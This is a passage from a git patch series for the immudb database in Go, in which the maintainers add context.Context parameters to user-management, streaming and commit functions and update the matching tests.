s.sysDB, setErr: injectedErr, } - _, err = s.resetAdminPassword("newPassword") + _, err = s.resetAdminPassword(context.Background(), "newPassword") require.ErrorIs(t, err, injectedErr) }) } @@ -1394,7 +1394,7 @@ func TestServerErrors(t *testing.T) { adminCtx = metadata.NewIncomingContext(context.Background(), md) // insertNewUser errors - _, _, err = s.insertNewUser([]byte("%"), nil, 1, DefaultDBName, true, auth.SysAdminUsername) + _, _, err = s.insertNewUser(context.Background(), []byte("%"), nil, 1, DefaultDBName, true, auth.SysAdminUsername) require.Error(t, err) require.Contains(t, err.Error(), "username can only contain letters, digits and underscores") @@ -1402,7 +1402,7 @@ func TestServerErrors(t *testing.T) { usernameBytes := []byte(username) password := "$omePassword1" passwordBytes := []byte(password) - _, _, err = s.insertNewUser(usernameBytes, []byte("a"), 1, DefaultDBName, true, auth.SysAdminUsername) + _, _, err = s.insertNewUser(context.Background(), usernameBytes, []byte("a"), 1, DefaultDBName, true, auth.SysAdminUsername) require.Error(t, err) require.Contains( t, @@ -1410,7 +1410,7 @@ func TestServerErrors(t *testing.T) { "password must have between 8 and 32 letters, digits and special characters "+ "of which at least 1 uppercase letter, 1 digit and 1 special character") - _, _, err = s.insertNewUser(usernameBytes, passwordBytes, 99, DefaultDBName, false, auth.SysAdminUsername) + _, _, err = s.insertNewUser(context.Background(), usernameBytes, passwordBytes, 99, DefaultDBName, false, auth.SysAdminUsername) require.Equal(t, errors.New("unknown permission"), err) // getLoggedInUserDataFromUsername errors @@ -1874,18 +1874,18 @@ func TestServerGetUserAndUserExists(t *testing.T) { require.NoError(t, err) require.NoError(t, err) - _, err = s.getUser([]byte(username)) + _, err = s.getUser(context.Background(), []byte(username)) require.NoError(t, err) - _, err = s.getValidatedUser([]byte(username), []byte("wrongpass")) + _, err = s.getValidatedUser(context.Background(), []byte(username), []byte("wrongpass")) require.Error(t, err) require.Contains(t, err.Error(), "crypto/bcrypt: hashedPassword is not the hash of the given password") - _, err = s.getValidatedUser([]byte(username), nil) + _, err = s.getValidatedUser(context.Background(), []byte(username), nil) require.Error(t, err) require.Contains(t, err.Error(), "crypto/bcrypt: hashedPassword is not the hash of the given password") - _, err = s.getValidatedUser([]byte(username), []byte{}) + _, err = s.getValidatedUser(context.Background(), []byte(username), []byte{}) require.Error(t, err) require.Contains(t, err.Error(), "crypto/bcrypt: hashedPassword is not the hash of the given password") } diff --git a/pkg/server/session.go b/pkg/server/session.go index 708202a9f6..04a0e54926 100644 --- a/pkg/server/session.go +++ b/pkg/server/session.go @@ -20,7 +20,7 @@ func (s *ImmuServer) OpenSession(ctx context.Context, r *schema.OpenSessionReque return nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation) } - u, err := s.getValidatedUser(r.Username, r.Password) + u, err := s.getValidatedUser(ctx, r.Username, r.Password) if err != nil { return nil, errors.Wrap(err, ErrInvalidUsernameOrPassword) } diff --git a/pkg/server/sql.go b/pkg/server/sql.go index c2b6447688..427a34bcbb 100644 --- a/pkg/server/sql.go +++ b/pkg/server/sql.go @@ -30,7 +30,7 @@ func (s *ImmuServer) VerifiableSQLGet(ctx context.Context, req *schema.Verifiabl return nil, err } - ventry, err := db.VerifiableSQLGet(req) + ventry, err := db.VerifiableSQLGet(ctx, req) if err != nil { return nil, err } diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index de884a687c..ccc43ec78d 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -34,7 +34,7 @@ func (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.Immu return err } - txbs, mayCommitUpToTxID, mayCommitUpToAlh, err := db.ExportTxByID(req) + txbs, mayCommitUpToTxID, mayCommitUpToAlh, err := db.ExportTxByID(txsServer.Context(), req) defer func() { if req.ReplicaState != nil { @@ -96,7 +96,7 @@ func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT return err } - md, err := db.ReplicateTx(bs) + md, err := db.ReplicateTx(replicateTxServer.Context(), bs) if err != nil { return err } diff --git a/pkg/server/streams.go b/pkg/server/streams.go index 56f5fe0b55..d7ccea9f1b 100644 --- a/pkg/server/streams.go +++ b/pkg/server/streams.go @@ -40,7 +40,7 @@ func (s *ImmuServer) StreamGet(kr *schema.KeyRequest, str schema.ImmuService_Str kvsr := s.StreamServiceFactory.NewKvStreamSender(s.StreamServiceFactory.NewMsgSender(str)) - entry, err := db.Get(kr) + entry, err := db.Get(str.Context(), kr) if err != nil { return err } @@ -100,7 +100,7 @@ func (s *ImmuServer) StreamSet(str schema.ImmuService_StreamSetServer) error { kvs = append(kvs, &schema.KeyValue{Key: key, Value: value}) } - txMeta, err := db.Set(&schema.SetRequest{KVs: kvs}) + txMeta, err := db.Set(str.Context(), &schema.SetRequest{KVs: kvs}) if err == store.ErrorMaxValueLenExceeded { return errors.Wrap(err, stream.ErrMaxValueLenExceeded) } @@ -125,7 +125,7 @@ func (s *ImmuServer) StreamVerifiableGet(req *schema.VerifiableGetRequest, str s vess := s.StreamServiceFactory.NewVEntryStreamSender(s.StreamServiceFactory.NewMsgSender(str)) - vEntry, err := db.VerifiableGet(req) + vEntry, err := db.VerifiableGet(str.Context(), req) if err != nil { return err } @@ -255,7 +255,7 @@ func (s *ImmuServer) StreamVerifiableSet(str schema.ImmuService_StreamVerifiable SetRequest: &schema.SetRequest{KVs: kvs}, ProveSinceTx: proveSinceTx, } - verifiableTx, err := db.VerifiableSet(&vSetReq) + verifiableTx, err := db.VerifiableSet(str.Context(), &vSetReq) if err == store.ErrorMaxValueLenExceeded { return errors.Wrap(err, stream.ErrMaxValueLenExceeded).WithCode(errors.CodDataException) } @@ -297,7 +297,7 @@ func (s *ImmuServer) StreamScan(req *schema.ScanRequest, str schema.ImmuService_ return err } - r, err := db.Scan(req) + r, err := db.Scan(str.Context(), req) if err != nil { return err } @@ -332,7 +332,7 @@ func (s *ImmuServer) StreamZScan(request *schema.ZScanRequest, server schema.Imm return err } - r, err := db.ZScan(request) + r, err := db.ZScan(server.Context(), request) if err != nil { return err } @@ -389,7 +389,7 @@ func (s *ImmuServer) StreamHistory(request *schema.HistoryRequest, server schema return err } - r, err := db.History(request) + r, err := db.History(server.Context(), request) if err != nil { return err } @@ -467,7 +467,7 @@ func (s *ImmuServer) StreamExecAll(str schema.ImmuService_StreamExecAllServer) e } } - txMeta, err := db.ExecAll(&schema.ExecAllRequest{Operations: sops}) + txMeta, err := db.ExecAll(str.Context(), &schema.ExecAllRequest{Operations: sops}) if err != nil { return err } diff --git a/pkg/server/user.go b/pkg/server/user.go index e5fe09c99c..4dd323ea62 100644 --- a/pkg/server/user.go +++ b/pkg/server/user.go @@ -23,7 +23,7 @@ func (s *ImmuServer) Login(ctx context.Context, r *schema.LoginRequest) (*schema return nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation) } - u, err := s.getValidatedUser(r.User, r.Password) + u, err := s.getValidatedUser(ctx, r.User, r.Password) if err != nil { return nil, errors.Wrap(err, ErrInvalidUsernameOrPassword) } @@ -130,12 +130,12 @@ func (s *ImmuServer) CreateUser(ctx context.Context, r *schema.CreateUserRequest return nil, fmt.Errorf("can not create another system admin") } - _, err = s.getUser(r.User) + _, err = s.getUser(ctx, r.User) if err == nil { return nil, fmt.Errorf("user already exists") } - _, _, err = s.insertNewUser(r.User, r.Password, r.GetPermission(), r.Database, true, loggedInuser.Username) + _, _, err = s.insertNewUser(ctx, r.User, r.Password, r.GetPermission(), r.Database, true, loggedInuser.Username) if err != nil { return nil, err } @@ -174,7 +174,7 @@ func (s *ImmuServer) ListUsers(ctx context.Context, req *empty.Empty) (*schema.U } } - itemList, err := s.sysDB.Scan(&schema.ScanRequest{ + itemList, err := s.sysDB.Scan(ctx, &schema.ScanRequest{ Prefix: []byte{KeyPrefixUser}, NoWait: true, }) @@ -322,7 +322,7 @@ func (s *ImmuServer) ChangePassword(ctx context.Context, r *schema.ChangePasswor return nil, fmt.Errorf("username can not be empty") } - targetUser, err := s.getUser(r.User) + targetUser, err := s.getUser(ctx, r.User) if err != nil { return nil, fmt.Errorf("user %s was not found or it was not created by you", string(r.User)) } @@ -341,7 +341,7 @@ func (s *ImmuServer) ChangePassword(ctx context.Context, r *schema.ChangePasswor targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() - if err := s.saveUser(targetUser); err != nil { + if err := s.saveUser(ctx, targetUser); err != nil { return nil, err } @@ -402,7 +402,7 @@ func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermi } //check if user exists - targetUser, err := s.getUser([]byte(r.Username)) + targetUser, err := s.getUser(ctx, []byte(r.Username)) if err != nil { return nil, status.Errorf(codes.NotFound, "user %s not found", string(r.Username)) } @@ -428,7 +428,7 @@ func (s *ImmuServer) ChangePermission(ctx context.Context, r *schema.ChangePermi targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() - if err := s.saveUser(targetUser); err != nil { + if err := s.saveUser(ctx, targetUser); err != nil { return nil, err } @@ -471,7 +471,7 @@ func (s *ImmuServer) SetActiveUser(ctx context.Context, r *schema.SetActiveUserR return nil, fmt.Errorf("changing your own status is not allowed") } - targetUser, err := s.getUser([]byte(r.Username)) + targetUser, err := s.getUser(ctx, []byte(r.Username)) if err != nil { return nil, fmt.Errorf("user %s not found", r.Username) } @@ -485,7 +485,7 @@ func (s *ImmuServer) SetActiveUser(ctx context.Context, r *schema.SetActiveUserR targetUser.CreatedBy = user.Username targetUser.CreatedAt = time.Now() - if err := s.saveUser(targetUser); err != nil { + if err := s.saveUser(ctx, targetUser); err != nil { return nil, err } @@ -503,7 +503,7 @@ func (s *ImmuServer) SetActiveUser(ctx context.Context, r *schema.SetActiveUserR // insertNewUser inserts a new user to the system database and returns username and plain text password // A new password is generated automatically if passed parameter is empty // If enforceStrongAuth is true it checks if username and password meet security criteria -func (s *ImmuServer) insertNewUser(username []byte, plainPassword []byte, permission uint32, database string, enforceStrongAuth bool, createdBy string) ([]byte, []byte, error) { +func (s *ImmuServer) insertNewUser(ctx context.Context, username []byte, plainPassword []byte, permission uint32, database string, enforceStrongAuth bool, createdBy string) ([]byte, []byte, error) { if enforceStrongAuth { if !auth.IsValidUsername(string(username)) { return nil, nil, status.Errorf( @@ -538,13 +538,13 @@ func (s *ImmuServer) insertNewUser(username []byte, plainPassword []byte, permis return nil, nil, fmt.Errorf("unknown permission") } - err = s.saveUser(userdata) + err = s.saveUser(ctx, userdata) return username, plainpassword, err } -func (s *ImmuServer) getValidatedUser(username []byte, password []byte) (*auth.User, error) { - userdata, err := s.getUser(username) +func (s *ImmuServer) getValidatedUser(ctx context.Context, username []byte, password []byte) (*auth.User, error) { + userdata, err := s.getUser(ctx, username) if err != nil { return nil, err } @@ -558,12 +558,12 @@ func (s *ImmuServer) getValidatedUser(username []byte, password []byte) (*auth.U } // getUser returns userdata (username,hashed password, permission, active) from username -func (s *ImmuServer) getUser(username []byte) (*auth.User, error) { +func (s *ImmuServer) getUser(ctx context.Context, username []byte) (*auth.User, error) { key := make([]byte, 1+len(username)) key[0] = KeyPrefixUser copy(key[1:], username) - item, err := s.sysDB.Get(&schema.KeyRequest{Key: key}) + item, err := s.sysDB.Get(ctx, &schema.KeyRequest{Key: key}) if err != nil { return nil, err } @@ -578,7 +578,7 @@ func (s *ImmuServer) getUser(username []byte) (*auth.User, error) { return &usr, nil } -func (s *ImmuServer) saveUser(user *auth.User) error { +func (s *ImmuServer) saveUser(ctx context.Context, user *auth.User) error { userData, err := json.Marshal(user) if err != nil { return logErr(s.Logger, "error saving user: %v", err) @@ -589,7 +589,7 @@ func (s *ImmuServer) saveUser(user *auth.User) error { copy(userKey[1:], []byte(user.Username)) userKV := &schema.KeyValue{Key: userKey, Value: userData} - _, err = s.sysDB.Set(&schema.SetRequest{KVs: []*schema.KeyValue{userKV}}) + _, err = s.sysDB.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{userKV}}) time.Sleep(time.Duration(10) * time.Millisecond) From c5770a550356b1cef75efc34946489ea3917f4f6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 16 Jan 2023 11:35:25 -0300 Subject: [PATCH 0146/1062] chore(embedded/store): tx header is returned when fully committed Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 4b4f27563b..8bf02fa05e 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1088,18 +1088,18 @@ func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForInde } // note: durability is ensured only if the store is in sync mode - // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header - err = s.commitWHub.WaitFor(context.Background(), hdr.ID) + err = s.commitWHub.WaitFor(otx.Context(), hdr.ID) if err == watchers.ErrAlreadyClosed { - return hdr, ErrAlreadyClosed + return nil, ErrAlreadyClosed } if err != nil { - return hdr, err + return nil, err } if waitForIndexing { err = s.WaitForIndexingUpto(otx.Context(), hdr.ID) if err != nil { + // header is returned because transaction is already committed return hdr, err } } @@ -1615,18 +1615,18 @@ func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i } // note: durability is ensured only if the store is in sync mode - // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header err = s.commitWHub.WaitFor(context.Background(), hdr.ID) if errors.Is(err, watchers.ErrAlreadyClosed) { - return hdr, ErrAlreadyClosed + return nil, ErrAlreadyClosed } if err != nil { - return hdr, err + return nil, err } if waitForIndexing { err = s.WaitForIndexingUpto(ctx, hdr.ID) if err != nil { + // header is returned because transaction is already committed return hdr, err } } From 92125ac21071dfae264e8baf2d520789dab039dc Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 16 Jan 2023 20:24:39 -0300 Subject: [PATCH 0147/1062] chore(embedded/store): transient context Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 27 ++-- embedded/store/immustore_test.go | 208 ++++++++++++++-------------- embedded/store/indexer_test.go | 2 +- embedded/store/key_reader_test.go | 8 +- embedded/store/ongoing_tx.go | 19 +-- embedded/store/tx_reader_test.go | 2 +- embedded/store/verification_test.go | 2 +- 7 files changed, 130 insertions(+), 138 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 8bf02fa05e..cd23e8976b 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1081,14 +1081,14 @@ func (s *ImmuStore) NewTx(ctx context.Context, opts *TxOptions) (*OngoingTx, err return newOngoingTx(ctx, s, opts) } -func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForIndexing bool) (*TxHeader, error) { - hdr, err := s.precommit(otx, expectedHeader) +func (s *ImmuStore) commit(ctx context.Context, otx *OngoingTx, expectedHeader *TxHeader, waitForIndexing bool) (*TxHeader, error) { + hdr, err := s.precommit(ctx, otx, expectedHeader) if err != nil { return nil, err } // note: durability is ensured only if the store is in sync mode - err = s.commitWHub.WaitFor(otx.Context(), hdr.ID) + err = s.commitWHub.WaitFor(ctx, hdr.ID) if err == watchers.ErrAlreadyClosed { return nil, ErrAlreadyClosed } @@ -1097,7 +1097,7 @@ func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForInde } if waitForIndexing { - err = s.WaitForIndexingUpto(otx.Context(), hdr.ID) + err = s.WaitForIndexingUpto(ctx, hdr.ID) if err != nil { // header is returned because transaction is already committed return hdr, err @@ -1107,7 +1107,7 @@ func (s *ImmuStore) commit(otx *OngoingTx, expectedHeader *TxHeader, waitForInde return hdr, nil } -func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) { +func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) { if otx == nil { return nil, fmt.Errorf("%w: no transaction", ErrIllegalArguments) } @@ -1182,7 +1182,7 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) } // ensure tx is committed in the expected order - err = s.inmemPrecommitWHub.WaitFor(otx.Context(), hdr.ID-1) + err = s.inmemPrecommitWHub.WaitFor(ctx, hdr.ID-1) if err == watchers.ErrAlreadyClosed { return nil, ErrAlreadyClosed } @@ -1241,7 +1241,7 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) if otx.hasPreconditions() { // Preconditions must be executed with up-to-date tree - err = s.WaitForIndexingUpto(otx.Context(), currPrecomittedTxID) + err = s.WaitForIndexingUpto(ctx, currPrecomittedTxID) if err != nil { return nil, err } @@ -2176,7 +2176,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI return nil, ErrIllegalArguments } - txHdr, err := s.precommit(txSpec, hdr) + txHdr, err := s.precommit(ctx, txSpec, hdr) if err != nil { return nil, err } @@ -2184,24 +2184,23 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header err = s.durablePrecommitWHub.WaitFor(context.Background(), txHdr.ID) if err == watchers.ErrAlreadyClosed { - return txHdr, ErrAlreadyClosed + return nil, ErrAlreadyClosed } if err != nil { - return txHdr, err + return nil, err } if !s.useExternalCommitAllowance { - // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header err = s.commitWHub.WaitFor(context.Background(), txHdr.ID) if err == watchers.ErrAlreadyClosed { - return txHdr, ErrAlreadyClosed + return nil, ErrAlreadyClosed } if err != nil { - return txHdr, err + return nil, err } if waitForIndexing { - err = s.WaitForIndexingUpto(txSpec.Context(), txHdr.ID) + err = s.WaitForIndexingUpto(ctx, txHdr.ID) if err != nil { return txHdr, err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index f264ee9e68..7d0e8628e5 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -91,7 +91,7 @@ func TestImmudbStoreConcurrency(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.EqualValues(t, i+1, txhdr.ID) } @@ -167,7 +167,7 @@ func TestImmudbStoreConcurrentCommits(t *testing.T) { require.NoError(t, err) } - hdr, err := tx.AsyncCommit() + hdr, err := tx.AsyncCommit(context.Background()) if err == ErrMaxConcurrencyLimitExceeded { time.Sleep(1 * time.Millisecond) continue @@ -214,7 +214,7 @@ func TestImmudbStoreOnClosedStore(t *testing.T) { err = immuStore.FlushIndex(100, true) require.ErrorIs(t, err, ErrAlreadyClosed) - _, err = immuStore.commit(&OngoingTx{entries: []*EntrySpec{ + _, err = immuStore.commit(context.Background(), &OngoingTx{entries: []*EntrySpec{ {Key: []byte("key1")}, }}, nil, false) require.ErrorIs(t, err, ErrAlreadyClosed) @@ -268,7 +268,7 @@ func TestImmudbStoreWithTimeFunction(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - hdr, err := tx.Commit() + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.Equal(t, fixedTime.Unix(), hdr.Ts) } @@ -682,7 +682,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { err = tx.Set([]byte("key"), nil, []byte("value")) require.NoError(t, err) - _, err = tx.AsyncCommit() + _, err = tx.AsyncCommit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) wg.Done() @@ -892,7 +892,7 @@ func TestImmudbStoreIndexing(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } @@ -983,7 +983,7 @@ func TestImmudbStoreIndexing(t *testing.T) { err = tx.Set([]byte("key"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get([]byte("key")) @@ -1037,7 +1037,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx.NewKeyReader(KeyReaderSpec{}) require.ErrorIs(t, err, ErrWriteOnlyTx) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1, 0}) @@ -1046,7 +1046,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx.NewKeyReader(KeyReaderSpec{}) require.ErrorIs(t, err, ErrAlreadyClosed) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) err = tx.Cancel() @@ -1066,7 +1066,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx.Cancel() require.ErrorIs(t, err, ErrAlreadyClosed) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) valRef, err := immuStore.Get([]byte{1, 2, 3}) @@ -1118,7 +1118,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) require.Equal(t, []byte("key1"), k) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, tbtree.ErrReadersNotClosed) err = r.Close() @@ -1140,7 +1140,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = immuStore.Get([]byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) _, _, err = tx.GetWithPrefix([]byte("key1"), []byte("key1")) @@ -1169,10 +1169,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx2.Set([]byte("key1"), nil, []byte("value1_tx2")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get([]byte("key1")) @@ -1201,10 +1201,10 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx2.Set([]byte("key2"), nil, []byte("value2_tx2")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get([]byte("key1")) @@ -1233,7 +1233,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx1.Cancel() require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get([]byte("key1")) @@ -1269,7 +1269,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = r.Close() require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) _, err = immuStore.Get([]byte{1, 2, 3}) @@ -1319,7 +1319,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx.Set([]byte("expirableKey"), md, []byte("expirableValue")) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get([]byte("expirableKey")) @@ -1363,7 +1363,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx.Set([]byte("expirableKey"), md, []byte("expirableValue")) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) // already expired @@ -1388,7 +1388,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx1.Delete([]byte("key2")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -1410,7 +1410,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx11.Set([]byte("key1"), nil, []byte("value1_tx11")) require.NoError(t, err) - _, err = tx11.Commit() + _, err = tx11.Commit(context.Background()) require.NoError(t, err) // @@ -1420,7 +1420,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx3.Set([]byte("key1"), nil, []byte("value1_tx3")) require.NoError(t, err) - hdr2, err := tx2.Commit() + hdr2, err := tx2.Commit(context.Background()) require.NoError(t, err) valRef2, err := immuStore.Get([]byte("key1")) @@ -1432,7 +1432,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) require.Equal(t, []byte("value1_tx2"), v2) - _, err = tx3.Commit() + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) } @@ -1460,7 +1460,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { err = tx.Set([]byte{1, 2, 3}, md, []byte{3, 2, 1}) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) _, err = immuStore.Get([]byte{1, 2, 3}) @@ -1498,7 +1498,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { err = tx.Set([]byte{1, 2, 3}, nil, []byte{1, 1, 1}) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err = immuStore.Get([]byte{1, 2, 3}) require.NoError(t, err) @@ -1530,7 +1530,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { err = tx.Set([]byte("indexedKey"), nil, []byte("indexedValue")) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) _, err = immuStore.Get([]byte("nonIndexedKey")) @@ -1552,7 +1552,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { err = tx.Set([]byte("nonIndexedKey1"), md, []byte("nonIndexedValue1")) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) _, err = immuStore.Get([]byte("nonIndexedKey1")) @@ -1566,7 +1566,7 @@ func TestImmudbStoreNonIndexableEntries(t *testing.T) { err = tx.Set([]byte("indexedKey1"), nil, []byte("indexedValue1")) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err = immuStore.Get([]byte("indexedKey1")) @@ -1657,7 +1657,7 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.Commit() + txhdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } @@ -1757,7 +1757,7 @@ func TestImmudbStoreInclusionProof(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } @@ -1866,7 +1866,7 @@ func TestLeavesMatchesAHTSync(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) @@ -1923,7 +1923,7 @@ func TestLeavesMatchesAHTASync(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } @@ -1972,7 +1972,7 @@ func TestImmudbStoreConsistencyProof(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.Commit() + txhdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } @@ -2030,7 +2030,7 @@ func TestImmudbStoreConsistencyProofAgainstLatest(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } @@ -2072,7 +2072,7 @@ func TestImmudbStoreConsistencyProofReopened(t *testing.T) { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrorNoEntriesProvided) for i := 0; i < txCount; i++ { @@ -2090,7 +2090,7 @@ func TestImmudbStoreConsistencyProofReopened(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) @@ -2185,7 +2185,7 @@ func TestReOpeningImmudbStore(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(it*txCount+i+1), txhdr.ID) } @@ -2227,7 +2227,7 @@ func TestReOpeningWithCompressionEnabledImmudbStore(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(it*txCount+i+1), txhdr.ID) } @@ -2304,7 +2304,7 @@ func TestUncommittedTxOverwriting(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.Commit() + txhdr, err := tx.Commit(context.Background()) if err != nil { require.ErrorIs(t, err, errEmulatedAppendableError) emulatedFailures++ @@ -2381,7 +2381,7 @@ func TestExportAndReplicateTx(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - hdr, err := tx.Commit() + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) @@ -2422,7 +2422,7 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - hdr, err := tx.Commit() + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) @@ -2485,7 +2485,7 @@ func 